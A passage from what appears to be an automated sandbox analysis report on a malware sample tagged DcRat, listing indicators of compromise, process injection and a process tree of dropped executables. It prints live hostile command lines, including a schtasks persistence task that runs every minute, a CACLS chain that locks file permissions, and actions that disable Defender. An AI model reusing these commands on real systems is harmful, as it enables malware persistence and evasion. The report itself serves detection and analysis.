Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 856 1Nj18XM1.exe 856 1Nj18XM1.exe 856 1Nj18XM1.exe 856 1Nj18XM1.exe 4352 AppLaunch.exe 4352 AppLaunch.exe 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE 3264 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3264 Explorer.EXE -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 4352 AppLaunch.exe 5336 toolspub2.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
pid Process 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeDebugPrivilege 2680 7425.exe Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeDebugPrivilege 4800 9D7C.exe Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeDebugPrivilege 1860 K.exe Token: SeShutdownPrivilege 3264 Explorer.EXE Token: SeCreatePagefilePrivilege 3264 Explorer.EXE Token: SeShutdownPrivilege 3264 Explorer.EXE -
Suspicious use of FindShellTrayWindow 25 IoCs
pid Process 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe -
Suspicious use of SendNotifyMessage 24 IoCs
pid Process 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe 4864 msedge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3504 wrote to memory of 980 3504 3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe 87 PID 3504 wrote to memory of 980 3504 3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe 87 PID 3504 wrote to memory of 980 3504 3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe 87 PID 980 wrote to memory of 1716 980 Dt3Yk95.exe 88 PID 980 wrote to memory of 1716 980 Dt3Yk95.exe 88 PID 980 wrote to memory of 1716 980 Dt3Yk95.exe 88 PID 1716 wrote to memory of 4620 1716 sD9Bl25.exe 90 PID 1716 wrote to memory of 4620 1716 sD9Bl25.exe 90 PID 1716 wrote to memory of 4620 1716 sD9Bl25.exe 90 PID 4620 wrote to memory of 4724 4620 Uh2me53.exe 91 PID 4620 wrote to memory of 4724 4620 Uh2me53.exe 91 PID 4620 wrote to memory of 4724 4620 Uh2me53.exe 91 PID 4724 wrote to memory of 856 4724 Hp6lQ52.exe 92 PID 4724 wrote to memory of 856 4724 Hp6lQ52.exe 92 PID 832 wrote to memory of 3956 832 cmd.exe 97 PID 832 wrote to memory of 3956 832 cmd.exe 97 PID 4724 wrote to memory of 4560 4724 Hp6lQ52.exe 100 PID 4724 wrote to memory of 4560 4724 Hp6lQ52.exe 100 PID 4724 wrote to memory of 4560 4724 Hp6lQ52.exe 100 PID 4620 wrote to memory of 2776 4620 Uh2me53.exe 101 PID 4620 wrote to memory of 2776 4620 Uh2me53.exe 101 PID 4620 wrote to memory of 2776 4620 Uh2me53.exe 101 PID 2776 wrote to memory of 4352 2776 3QV70qJ.exe 102 PID 2776 wrote to memory of 4352 2776 3QV70qJ.exe 102 PID 2776 wrote to memory of 4352 2776 3QV70qJ.exe 102 PID 2776 wrote to memory of 4352 2776 3QV70qJ.exe 102 PID 2776 wrote to memory of 4352 2776 3QV70qJ.exe 102 PID 2776 wrote to memory of 4352 2776 3QV70qJ.exe 102 PID 1716 wrote to memory of 1188 1716 sD9Bl25.exe 103 PID 1716 wrote to memory of 1188 1716 sD9Bl25.exe 103 PID 1716 wrote to memory of 1188 1716 sD9Bl25.exe 103 PID 1188 wrote to memory of 4756 1188 4NJ511dv.exe 105 PID 1188 wrote to memory of 4756 1188 4NJ511dv.exe 105 PID 1188 wrote to memory of 4756 1188 4NJ511dv.exe 105 PID 1188 wrote to memory of 4756 1188 4NJ511dv.exe 105 PID 1188 wrote to memory of 4756 1188 4NJ511dv.exe 105 PID 1188 wrote to memory of 4756 1188 4NJ511dv.exe 105 PID 1188 wrote to memory of 4756 1188 4NJ511dv.exe 105 PID 1188 wrote to memory of 4756 1188 4NJ511dv.exe 105 PID 980 wrote to memory of 3668 980 Dt3Yk95.exe 106 PID 980 wrote to memory of 3668 980 Dt3Yk95.exe 106 PID 980 wrote to memory of 3668 980 Dt3Yk95.exe 106 PID 3668 wrote to memory of 4224 3668 5Rr3pA2.exe 107 PID 3668 wrote to memory of 4224 3668 5Rr3pA2.exe 107 PID 3668 wrote to memory of 4224 3668 5Rr3pA2.exe 107 PID 3504 wrote to memory of 4580 3504 3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe 108 PID 3504 wrote to memory of 4580 3504 3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe 108 PID 3504 wrote to memory of 4580 3504 3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe 108 PID 4580 wrote to memory of 3972 4580 6Ss4vz7.exe 109 PID 4580 wrote to memory of 3972 4580 6Ss4vz7.exe 109 PID 4224 wrote to memory of 4932 4224 explothe.exe 110 PID 4224 wrote to memory of 4932 4224 explothe.exe 110 PID 4224 wrote to memory of 4932 4224 explothe.exe 110 PID 4224 wrote to memory of 2140 4224 explothe.exe 113 PID 4224 wrote to memory of 2140 4224 explothe.exe 113 PID 4224 wrote to memory of 2140 4224 explothe.exe 113 PID 2140 wrote to memory of 1240 2140 cmd.exe 116 PID 2140 wrote to memory of 1240 2140 cmd.exe 116 PID 2140 wrote to memory of 1240 2140 cmd.exe 116 PID 2140 wrote to memory of 4716 2140 cmd.exe 117 PID 2140 wrote to memory of 4716 2140 cmd.exe 117 PID 2140 wrote to memory of 4716 2140 cmd.exe 117 PID 2140 wrote to memory of 3340 2140 cmd.exe 118 PID 2140 wrote to memory of 3340 2140 cmd.exe 118 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3264 -
C:\Users\Admin\AppData\Local\Temp\3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe"C:\Users\Admin\AppData\Local\Temp\3e8c4bcc300522e0768a1959f4638e18b343d845db826d75cc626150565c450c.exe"2⤵
- DcRat
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3504 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Dt3Yk95.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Dt3Yk95.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:980 -
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\sD9Bl25.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\sD9Bl25.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Uh2me53.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Uh2me53.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4620 -
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Hp6lQ52.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Hp6lQ52.exe6⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Nj18XM1.exeC:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Nj18XM1.exe7⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
PID:856
-
-
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2Cf5775.exeC:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2Cf5775.exe7⤵
- Executes dropped EXE
PID:4560
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\3QV70qJ.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\3QV70qJ.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4352
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\4NJ511dv.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\4NJ511dv.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"6⤵PID:4756
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\5Rr3pA2.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\5Rr3pA2.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4224 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F6⤵
- DcRat
- Creates scheduled task(s)
PID:4932
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit6⤵
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵PID:1240
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "explothe.exe" /P "Admin:N"7⤵PID:4716
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "explothe.exe" /P "Admin:R" /E7⤵PID:3340
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵PID:3328
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\fefffe8cea" /P "Admin:N"7⤵PID:3076
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\fefffe8cea" /P "Admin:R" /E7⤵PID:1304
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main6⤵
- Loads dropped DLL
PID:6136
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6Ss4vz7.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6Ss4vz7.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2342.tmp\2343.tmp\2344.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6Ss4vz7.exe"4⤵PID:3972
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login5⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4864 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x16c,0x170,0x174,0x148,0x178,0x7ffc189446f8,0x7ffc18944708,0x7ffc189447186⤵PID:4520
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2260 /prefetch:26⤵PID:2408
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2564 /prefetch:86⤵PID:1880
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 /prefetch:36⤵PID:4092
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3436 /prefetch:16⤵PID:1048
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3528 /prefetch:16⤵PID:1140
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4072 /prefetch:16⤵PID:3932
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4304 /prefetch:16⤵PID:1404
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5248 /prefetch:16⤵PID:3472
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5312 /prefetch:16⤵PID:4504
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6104 /prefetch:16⤵PID:2076
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6300 /prefetch:16⤵PID:1256
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6576 /prefetch:16⤵PID:4388
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6996 /prefetch:16⤵PID:5408
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6672 /prefetch:16⤵PID:5400
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7284 /prefetch:86⤵PID:5576
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7284 /prefetch:86⤵PID:5848
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3752 /prefetch:16⤵PID:5904
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6780 /prefetch:16⤵PID:5896
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2244,12740922086587422093,7054063691494523040,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7836 /prefetch:86⤵PID:1388
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/5⤵PID:1052
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffc189446f8,0x7ffc18944708,0x7ffc189447186⤵PID:4448
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,10614315702990020673,12642219502014500580,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:36⤵PID:3084
-
-
